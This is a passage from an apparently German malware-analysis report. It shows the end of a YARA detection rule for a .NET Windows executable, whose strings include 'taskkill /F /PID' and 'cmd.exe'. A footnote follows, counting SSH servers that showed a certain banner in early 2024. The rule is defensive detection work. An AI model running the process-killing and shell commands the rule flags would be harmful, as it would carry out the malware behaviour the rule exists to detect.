        $t8 = "taskkill /F /PID" wide fullword
        $t9 = "cmd.exe" wide fullword
    condition: 
        filesize > 8KB and filesize < 100KB
        and (uint16be(0) == 0x4D5A)
        and $dotNet
        and (3 of ($a*))
        and (2 of ($t*))
}

  1. Durch die Auswertung öffentlich zugänglicher Daten haben wir Ende Januar 2024 etwa 2450 SSH-Server gezählt, die dieses Banner zeigten, gegenüber 121367 Servern, die ein Banner zeigten mit SSH-2.0-OpenSSH_6.7p1